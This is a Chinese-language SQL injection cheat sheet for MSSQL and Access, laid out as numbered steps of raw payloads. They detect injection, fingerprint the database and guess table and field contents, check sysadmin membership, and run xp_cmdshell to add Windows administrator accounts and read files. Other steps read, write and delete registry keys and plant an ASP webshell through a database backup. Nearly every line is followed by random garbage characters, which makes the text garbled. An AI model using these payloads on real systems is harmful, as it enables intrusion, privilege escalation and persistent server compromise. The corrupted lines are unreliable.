1.判断是否有注入;and 1=1 ;and 1=2 111D3
2.初步判断是否是mssql ;and user>0 jFerYv&K~
`Vq`z]}
3.注入参数是字符'and [查询条件] and ''=' o/,NG U
Fpt-V
4.搜索时没过滤参数的'and [查询条件] and '%25'=' [k]|Qink
9B)(>~q
5.判断数据库系统 (}:C+p
'I
hFvi5I-b
;and (select count(*) from sysobjects)>0 mssql Z v0C@r
yW.COWL=)
;and (select count(*) from msysobjects)>0 access 5A&y]5-Q`
P.sgRsL
k:#6^!b1
d \>2
6.猜数据库 ;and (select Count(*) from [数据库名])>0 <E\V`g
MjaUdfx
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [$ :
e@F|NCQ.9
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 r-w2\ 2
tLcEl'Eo
9.(1)猜字段的ascii值(access) !5x
Ly6=}
S)%_we LW7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ad!(z[F'Y
,M3z!=oIGn
(2)猜字段的ascii值(mssql) z#<P}}
tiLu75vj
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 uv4 _:
Wn!G.(Jq
10.测试权限结构(mssql) #Nte^E4
rdj@u47
G5Q!L;3HZ
jiIST^Zq#t
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- l9{#sas
SvK1.NUa
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- H]&!'\aUz
d^39t4
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ]Qi,j#X
=:h3w#_c
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R V!o4"\]
Z{{t^+XG
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ,m07p~,V
!v!N>f4S$
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- iUr xJh
dDKqq(9(`
;and 1=(select IS_MEMBER('db_owner'));-- L)-*,$#<oW
n_$yV:MuT!
6CNS%\A
^{[`=P'/
11.添加mssql和系统的帐户
U
5`y
@~jxG%y86
;exec master.dbo.sp_addlogin username;-- ~uPk
;exec master.dbo.sp_password null,username,password;-- > zL|8f
7unA"9=[4V
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- \iMyo
i=QqB0
;exec master.dbo.xp_cmdshell 'net user username password +Z?[M1g
q|q::q*
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [Hcaw
@)sc6
*lnW
;exec master.dbo.xp_cmdshell 'net user username password /add';-- $
u2Cd4
_1JmjIH)M
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- PI7IBI
6tOi^+qN
'\*A"8;h
J0Four#MD
12.(1)遍历目录 j%M @#
L+Pc<U)T+
;create table dirs(paths varchar(100), id int) o`%I{?UCDJ
MM_py!=>7
;insert dirs exec master.dbo.xp_dirtree 'c:\' *d
l"wH&
I=YCQ VvA
;and (select top 1 paths from dirs)>0 "d?f:x3v^
7b.U!Ju
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) `=!p$hg($
ez0 \bym
>=!AL,:
?;8M^a/
(2)遍历目录 \ j]~>9
v+tO$QZ`
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^\YQ_/\~L
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ~t9$IB
P,1exgq9
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 o5#,\Y[ g
~yN(-I1P
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ChIoR:y>
e<'U8|}hc{
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 *?Wtj
}'jV/
Kcn\g.
EW5]!%
13.mssql中的存储过程 x_ySf!ih
SY6r 8RK
xp_regenumvalues 注册表根键, 子键 J%4HNW*p
70<K.T<b
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 /s-d?
luF#OP C
xp_regread 根键,子键,键值名 OQ|,-
a-Fqp4
;exec xp_regread --/-D5
>H?uuzi
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 w$% BlqN
xL&PJ /'
xp_regwrite 根键,子键, 值名, 值类型, 值 ^%zNa6BL
)b (X
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kt<@H11
#! @m y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 <W|1<=z(
,$i<@2/=m
xp_regdeletevalue 根键,子键,值名 Qrz*Lvle h
X0x_+b?
_
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 I:/4t^%
|
W?[,|e
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 i -V0Lm/
-t b;igv
tD^a5qPh
^HoJ.oC/
14.mssql的backup创建webshell 5|m9:Hv[#
J]]\&MtaO
use model #x|VfN5f
mE_iS?1
create table cmd(str image); }u7D9_KU
#?5VsD8
insert into cmd(str) values (''); .6I%64m
8"pA9Mr
backup database model to disk='c:\l.asp'; HqDa2q4
lzI/\%
" V/k<HRw
2?pM5n
15.mssql内置函数 X?_v+'G
Vg) ^|
;and (select @@version)>0 获得Windows的版本号 {!tOI
'&{(:,!B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa u4xA'X'~R
KD9Ca $-
;and (select user_name())>0 爆当前系统的连接用户 TR_(_Yd?36
n_ OUWvs
;and (select db_name())>0 得到当前连接的数据库 "vvFq ,c
6vZt43"m?\
L;kyAX@^
aeQ{_SK
16.简洁的webshell ]#+5)[N$>
ir"* iL=
use model mURX I'JkX
vatx+)
create table cmd(str image); yW'BrTw
kv[OW"8t
insert into cmd(str) values (''); !fif8kf
.Pqj6Ko9
backup database model to disk='g:\wwwtest\l.asp';